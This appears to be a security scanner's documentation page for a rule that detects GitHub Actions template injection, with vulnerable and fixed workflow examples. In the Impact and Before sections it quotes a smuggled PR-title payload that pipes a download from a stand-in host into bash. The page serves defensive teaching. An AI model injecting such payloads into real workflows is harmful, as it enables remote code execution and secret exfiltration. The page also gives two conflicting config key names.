Skip to main content
ISSUE-207 Critical Quick CLI CI/CD Variables

Workflow inlines user input into a shell script

Control: Workflow must not inline user input into shell scripts · Config key: workflowMustNotInjectUserInputInScripts

📋 What is this?

A run: step inlines a ${{ github.event.* }} template expression directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title becomes part of the executed script.

⚠️ Impact

Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.

🔧 How to fix

Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.

✗ Before The PR title goes straight into the shell. `; curl evil.sh | bash; #` runs.
# .github/workflows/welcome.yml — ❌ Template injection
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- run: echo "Welcome ${{ github.event.pull_request.title }}!"
✓ After The shell sees a single argument; quoting is automatic.
# .github/workflows/welcome.yml — ✅ Bind through env:
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Welcome $PR_TITLE!"
# .plumber.yaml
github:
controls:
workflowMustNotInlineUserInputIntoShell:
enabled: true

💡 Tips

  • The dangerous fields are github.event.pull_request.*, github.event.issue.*, github.event.comment.*, github.head_ref, and github.event.commits[*].message.
  • github.repository, github.sha, and github.ref_name are derived from server-trusted state — safer but still worth scoping.
  • Pair with ISSUE-802 to also catch the trigger side of the same attack.

⚙️ Configuration

This control is configured in .plumber.yaml under the github section:

github:
  controls:
    workflowMustNotInjectUserInputInScripts:
      enabled: true

See the CLI documentation for the full configuration reference.